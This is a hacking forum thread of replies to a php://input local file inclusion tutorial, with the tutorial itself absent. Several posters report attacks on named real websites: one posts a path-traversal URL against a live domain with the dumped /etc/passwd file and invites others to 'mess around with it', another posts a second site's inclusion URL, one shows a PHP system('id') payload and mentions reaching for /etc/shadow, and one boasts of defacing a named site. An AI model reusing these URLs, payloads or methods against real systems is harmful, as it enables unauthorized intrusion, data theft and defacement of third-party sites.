Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[LFI method] php://input - Noob friendly with pictures

Good write-up Haxor !

Too bad tha LFI ain't very common nowadays :/
Finally, a guide that i fully understand!!

Thank you!

This guide is GREAT!
Thanks you, HaxOr.. I really didn't knew that you could upload a shell using just LFI.

Most of the time I get an error message, when I try to access /etc/passwd - but oh well. Guess I'll just have to keep looking!:)
Quote:Not Found

The requested URL /etc/passwd was not found on this server.


Edit:
I finally found one where I could use /etc/passwd. But when I do php://input, then it gives me this:
Quote:Warning: require(php://input) [function.require]: failed to open stream: operation failed in /home/content/g/a/r//html/admin/index.php on line 25

Fatal error: require() [function.require]: Failed opening required 'php://input' (include_path='.:/usr/local/php5/lib/php') in /home/content/g/a/r/
/html/admin/index.php on line 25

Well nice tut hax0r :o) - your are doing good.
such as setting the permissions to read the /etc/shadaow file, I need to authorize my self as an admin on the server, before I can expande the view on the .shadow file

such a scenario which I'm talking about is that, I explored this randomly website, just to test if your tut was working ofc. Then it gave me a internal error on apache.. saw it on the live http header, that the page did not load correctly, but spit out Error 505 or something like that. When I even tried to execute this script
Code
<? system('id'); ?>

anyways I got this far, and not further... haha :)

Code
http://waste-mg.com/robotics/index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false bind:x:103:110::/var/cache/bind:/bin/false postfix:x:104:112::/var/spool/postfix:/bin/false dovecot:x:105:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin messagebus:x:107:116::/var/run/dbus:/bin/false landscape:x:108:65534:Landscape Client Daemon,,,:/var/lib/landscape:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:109:120:MySQL Server,,,:/var/lib/mysql:/bin/false ftp:x:110:65534::/home/ftp:/bin/false ralfe:x:1001:1001::/home/ralfe:/bin/bash Debian-exim:x:111:121::/var/spool/exim4:/bin/false mulletman87:x:1002:1002::/home/mulletman87:/bin/sh terry:x:1003:1003::/home/terry:/bin/bash richard:x:1004:1004::/home/richard:/bin/bash

feel free to mess around with it ! - Nice work from hax0r right there!.
I'm out. L8ter bitches <3
Nice tutorial, always delivering something good to have in mind. :)
omg man, thank you so much !
You really make a legitimate tut's!
THANK YOU THANK YOU
i saw the /etc/passwd but the Post data commands arent working what should i do ?
Anyways gr8 tutorial :D
Great tutorial again! All Haxor's tutorials are very helpful, so I can only recommend for everyone who need detailed and HQ works 😉
Will keep this as a reference, cheers bro.

^,^

@Haxor
Is that Coco Austin in your sig, shes fucking hot.
Excellent tutorial and very detail Bravo stari !
Excellent tutorial ๖ۣۜΗ α x O r ♥
I am gonna try it

Thanks :D
Great method man. I used it to deface the site http://ohiogreenhousegrower.com. Thy now have it redirecting to another site, but nonetheless, Thanks. This was my 2nd deface, and your method really helped!
I have a problem, Third step Nothing to show
This link:
http://www.lovium.nl/index.php?page=/etc/passwd

Thanks
The tutorial is awesome, especially with pictures.

Thank you!
(Apr 11, 2012 09:39 PM)Gjaosu Wrote:  I have a problem, Third step Nothing to show
This link:
http://www.lovium.nl/index.php?page=/etc/passwd

Thanks
I don't see what your problem is here. The proper text for /etc/passwd shows up, so what's wrong?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Aug 8, 2021 12:47 AM 11 1,097 Aug 8, 2021 12:47 AM
Last Post: savetree
by whitepawnNov 1, 2019 11:42 AM 3 318 Nov 1, 2019 11:42 AM
Last Post: Ramb0x
by NexiumMay 8, 2019 12:06 AM 0 242 May 8, 2019 12:06 AM
Last Post: Nexium